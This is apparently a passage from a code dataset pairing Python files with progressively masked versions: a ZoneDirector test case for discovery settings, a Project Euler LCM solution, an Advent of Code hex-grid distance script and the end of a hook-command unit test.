self.assertFalse(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 1}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n",
"<import token>\n\n\nclass ExecuteCommandTest(TestBase):\n\n def setUp(self):\n super(ExecuteCommandTest, self).setUp()\n self.cwd = os.path.join(os.path.dirname(__file__), '../../..')\n self.logger = Mock()\n MonkeyPatcher.patch(action, 'create_background_logger', Mock(\n return_value=self.logger))\n <function token>\n\n def create_stdout(self, data):\n l = ['SHELF_EVENT={0}'.format(data['event']), 'SHELF_URI={0}'.\n format(data['uri']), 'SHELF_META_URI={0}'.format(data['meta_uri'])]\n return ', '.join(l)\n\n def test_success(self):\n data = self.create_data('./tests/bin/hook-test', Event.\n ARTIFACT_UPLOADED)\n result = action.execute_command(**data)\n self.assertTrue(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 0}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n\n def test_failure(self):\n data = self.create_data('./tests/bin/hook-test', 'fail')\n result = action.execute_command(**data)\n self.assertFalse(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 1}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n",
"<import token>\n\n\nclass ExecuteCommandTest(TestBase):\n\n def setUp(self):\n super(ExecuteCommandTest, self).setUp()\n self.cwd = os.path.join(os.path.dirname(__file__), '../../..')\n self.logger = Mock()\n MonkeyPatcher.patch(action, 'create_background_logger', Mock(\n return_value=self.logger))\n <function token>\n <function token>\n\n def test_success(self):\n data = self.create_data('./tests/bin/hook-test', Event.\n ARTIFACT_UPLOADED)\n result = action.execute_command(**data)\n self.assertTrue(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 0}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n\n def test_failure(self):\n data = self.create_data('./tests/bin/hook-test', 'fail')\n result = action.execute_command(**data)\n self.assertFalse(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 1}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n",
"<import token>\n\n\nclass ExecuteCommandTest(TestBase):\n\n def setUp(self):\n super(ExecuteCommandTest, self).setUp()\n self.cwd = os.path.join(os.path.dirname(__file__), '../../..')\n self.logger = Mock()\n MonkeyPatcher.patch(action, 'create_background_logger', Mock(\n return_value=self.logger))\n <function token>\n <function token>\n <function token>\n\n def test_failure(self):\n data = self.create_data('./tests/bin/hook-test', 'fail')\n result = action.execute_command(**data)\n self.assertFalse(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 1}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n",
"<import token>\n\n\nclass ExecuteCommandTest(TestBase):\n <function token>\n <function token>\n <function token>\n <function token>\n\n def test_failure(self):\n data = self.create_data('./tests/bin/hook-test', 'fail')\n result = action.execute_command(**data)\n self.assertFalse(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 1}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n",
"<import token>\n\n\nclass ExecuteCommandTest(TestBase):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<import token>\n<class token>\n"
] | false |
9,997 |
25288a6dd0552d59f8c305bb8edbbbed5d464d5b
|
# Copyright (C) 2011 Ruckus Wireless, Inc. All rights reserved.
# Please make sure the following module docstring is accurate since it will be used in report generation.
"""
Description:
@author: Chris Wang
@contact: [email protected]
@since: Aug-09, 2010
Prerequisite (Assumptions about the state of the test bed/DUT):
1. Build under test is loaded on the Station
Required components: 'Station'
Test parameters:
- zd_tag: zd tag. Will get zd components via zd tag in self.testbed.components.
Test procedure:
1. Config:
- initialize test parameters
2. Test:
- Get limited ZD discovery settings.
3. Cleanup:
- N/A
Result type: PASS/FAIL
Results: PASS: Get limited ZD discovery settings correctly.
Messages: If FAIL the test script returns a message related to the criterion that is not satisfied
"""
import logging
from RuckusAutoTest.models import Test
from RuckusAutoTest.components.lib.zd import access_points_zd as lib
class CB_ZD_Get_Primary_Secondary_ZD(Test):
required_components = ['ZoneDirector']
parameters_description = {'zd_tag': "zd tag. Will get zd components via zd tag in self.testbed.components",
}
'''
Test case for automation.
'''
def config(self, conf):
self._init_test_params(conf)
self._retrive_carrier_bag()
def test(self):
try:
logging.info("Get limited ZD discovery settings via ZD")
self.zd_discovery_cfg = lib.get_limited_zd_discovery_cfg(self.zd)
logging.info("Limited ZD discovery cfg: %s" % self.zd_discovery_cfg)
except Exception, e:
self.errmsg = "Fail to get limited ZD discovery: %s" % e.message
if self.errmsg:
logging.debug(self.errmsg)
return self.returnResult("FAIL", self.errmsg)
else:
self._update_carrier_bag()
self.passmsg = "Get limited ZD discovery correctly: %s" % (self.zd_discovery_cfg)
return self.returnResult("PASS", self.passmsg)
def cleanup(self):
pass
def _retrive_carrier_bag(self):
pass
def _update_carrier_bag(self):
self.carrierbag['gui_zd_discovery_cfg'] = self.zd_discovery_cfg
def _init_test_params(self, conf):
self.conf = dict(zd_tag = '')
self.conf.update(conf)
zd_tag = self.conf.pop('zd_tag')
if zd_tag:
self.zd = self.carrierbag[zd_tag]
else:
self.zd = self.testbed.components['ZoneDirector']
self.errmsg = ''
self.passmsg = ''
|
[
"# Copyright (C) 2011 Ruckus Wireless, Inc. All rights reserved.\n# Please make sure the following module docstring is accurate since it will be used in report generation.\n\n\"\"\"\n Description: \n @author: Chris Wang\n @contact: [email protected]\n @since: Aug-09, 2010\n\n Prerequisite (Assumptions about the state of the test bed/DUT):\n 1. Build under test is loaded on the Station\n\n Required components: 'Station'\n Test parameters:\n - zd_tag: zd tag. Will get zd components via zd tag in self.testbed.components.\n \n Test procedure:\n 1. Config:\n - initialize test parameters \n 2. Test:\n - Get limited ZD discovery settings.\n 3. Cleanup:\n - N/A\n \n Result type: PASS/FAIL\n Results: PASS: Get limited ZD discovery settings correctly.\n\n Messages: If FAIL the test script returns a message related to the criterion that is not satisfied\n\"\"\"\nimport logging\n\nfrom RuckusAutoTest.models import Test\nfrom RuckusAutoTest.components.lib.zd import access_points_zd as lib \n\nclass CB_ZD_Get_Primary_Secondary_ZD(Test):\n required_components = ['ZoneDirector']\n parameters_description = {'zd_tag': \"zd tag. Will get zd components via zd tag in self.testbed.components\",\n }\n \n '''\n Test case for automation.\n '''\n def config(self, conf):\n self._init_test_params(conf)\n self._retrive_carrier_bag()\n \n def test(self):\n try:\n logging.info(\"Get limited ZD discovery settings via ZD\")\n self.zd_discovery_cfg = lib.get_limited_zd_discovery_cfg(self.zd)\n logging.info(\"Limited ZD discovery cfg: %s\" % self.zd_discovery_cfg)\n except Exception, e:\n self.errmsg = \"Fail to get limited ZD discovery: %s\" % e.message\n \n if self.errmsg:\n logging.debug(self.errmsg)\n return self.returnResult(\"FAIL\", self.errmsg)\n else:\n self._update_carrier_bag()\n self.passmsg = \"Get limited ZD discovery correctly: %s\" % (self.zd_discovery_cfg)\n return self.returnResult(\"PASS\", self.passmsg)\n \n def cleanup(self):\n pass\n \n def _retrive_carrier_bag(self):\n pass\n \n def _update_carrier_bag(self):\n self.carrierbag['gui_zd_discovery_cfg'] = self.zd_discovery_cfg\n \n def _init_test_params(self, conf):\n self.conf = dict(zd_tag = '')\n self.conf.update(conf)\n \n zd_tag = self.conf.pop('zd_tag')\n if zd_tag:\n self.zd = self.carrierbag[zd_tag]\n else:\n self.zd = self.testbed.components['ZoneDirector']\n \n self.errmsg = ''\n self.passmsg = ''"
] | true |
9,998 |
0f0ded26e115b954a5ef698b03271ddf2b947334
|
'''
PROBLEM N. 5:
2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.
What is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20?
'''
'''
Greatest common divisior using the Euclidean Algorithm, vide http://en.wikipedia.org/wiki/Euclidean_algorithm
'''
def gcd(a, b):
if a == b:
return a
if a == 0:
return b
if b == 0:
return a
if a > b:
remainder = a%b
return gcd(remainder, b)
if b > a:
remainder = b%a
return gcd(remainder, a)
'''
Lowest common denominator, using:
lcd(a,b) = |a*b|/gcd(a,b)
'''
def lcd(a, b):
return a*b/gcd(a,b)
print reduce(lcd, range(1,21))
|
[
"'''\nPROBLEM N. 5:\n2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.\n\nWhat is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20?\n'''\n\n'''\nGreatest common divisior using the Euclidean Algorithm, vide http://en.wikipedia.org/wiki/Euclidean_algorithm\n'''\ndef gcd(a, b):\n\tif a == b:\n\t\treturn a\n\tif a == 0:\n\t\treturn b\n\tif b == 0:\n\t\treturn a\n\tif a > b:\n\t\tremainder = a%b\n\t\treturn gcd(remainder, b)\n\tif b > a:\n\t\tremainder = b%a\n\t\treturn gcd(remainder, a)\n\n\n'''\nLowest common denominator, using: \nlcd(a,b) = |a*b|/gcd(a,b)\n'''\ndef lcd(a, b):\n\treturn a*b/gcd(a,b)\n\nprint reduce(lcd, range(1,21))"
] | true |
9,999 |
ac2e9145e3345e5448683d684b69d2356e3214ce
|
from collections import defaultdict
# The order of the steps doesn't matter, so the distance
# function is very simple
def dist(counts):
n = abs(counts["n"] - counts["s"])
nw = abs(counts["nw"] - counts["se"])
ne = abs(counts["ne"] - counts["sw"])
return n + max(ne,nw)
if __name__ == "__main__":
counts = defaultdict(int)
with open("day11.input.txt") as f:
INPUT = f.read().strip()
dir_list = INPUT.split(",")
# The order of the steps doesn't matter so we just need
# to count each type of step
for dir in dir_list:
counts[dir] += 1
print(dist(counts))
counts = defaultdict(int)
with open("day11.input.txt") as f:
INPUT = f.read().strip()
dir_list = INPUT.split(",")
# print(dir_list)
max_d = -1
for dir in dir_list:
# Keep running counts and check for distance at every
# step to find max
counts[dir] += 1
max_d = max(max_d,dist(counts))
print("max=", max_d)
|
[
"from collections import defaultdict\n\n# The order of the steps doesn't matter, so the distance\n# function is very simple\ndef dist(counts):\n n = abs(counts[\"n\"] - counts[\"s\"])\n nw = abs(counts[\"nw\"] - counts[\"se\"])\n ne = abs(counts[\"ne\"] - counts[\"sw\"])\n return n + max(ne,nw)\n\nif __name__ == \"__main__\":\n counts = defaultdict(int)\n with open(\"day11.input.txt\") as f:\n INPUT = f.read().strip()\n dir_list = INPUT.split(\",\")\n # The order of the steps doesn't matter so we just need\n # to count each type of step\n for dir in dir_list:\n counts[dir] += 1\n\n print(dist(counts))\n\n counts = defaultdict(int)\n with open(\"day11.input.txt\") as f:\n INPUT = f.read().strip()\n dir_list = INPUT.split(\",\")\n # print(dir_list)\n max_d = -1\n for dir in dir_list:\n # Keep running counts and check for distance at every\n # step to find max\n counts[dir] += 1\n max_d = max(max_d,dist(counts))\n print(\"max=\", max_d)\n \n",
"from collections import defaultdict\n\n\ndef dist(counts):\n n = abs(counts['n'] - counts['s'])\n nw = abs(counts['nw'] - counts['se'])\n ne = abs(counts['ne'] - counts['sw'])\n return n + max(ne, nw)\n\n\nif __name__ == '__main__':\n counts = defaultdict(int)\n with open('day11.input.txt') as f:\n INPUT = f.read().strip()\n dir_list = INPUT.split(',')\n for dir in dir_list:\n counts[dir] += 1\n print(dist(counts))\n counts = defaultdict(int)\n with open('day11.input.txt') as f:\n INPUT = f.read().strip()\n dir_list = INPUT.split(',')\n max_d = -1\n for dir in dir_list:\n counts[dir] += 1\n max_d = max(max_d, dist(counts))\n print('max=', max_d)\n",
"<import token>\n\n\ndef dist(counts):\n n = abs(counts['n'] - counts['s'])\n nw = abs(counts['nw'] - counts['se'])\n ne = abs(counts['ne'] - counts['sw'])\n return n + max(ne, nw)\n\n\nif __name__ == '__main__':\n counts = defaultdict(int)\n with open('day11.input.txt') as f:\n INPUT = f.read().strip()\n dir_list = INPUT.split(',')\n for dir in dir_list:\n counts[dir] += 1\n print(dist(counts))\n counts = defaultdict(int)\n with open('day11.input.txt') as f:\n INPUT = f.read().strip()\n dir_list = INPUT.split(',')\n max_d = -1\n for dir in dir_list:\n counts[dir] += 1\n max_d = max(max_d, dist(counts))\n print('max=', max_d)\n",
"<import token>\n\n\ndef dist(counts):\n n = abs(counts['n'] - counts['s'])\n nw = abs(counts['nw'] - counts['se'])\n ne = abs(counts['ne'] - counts['sw'])\n return n + max(ne, nw)\n\n\n<code token>\n",
"<import token>\n<function token>\n<code token>\n"
] | false |
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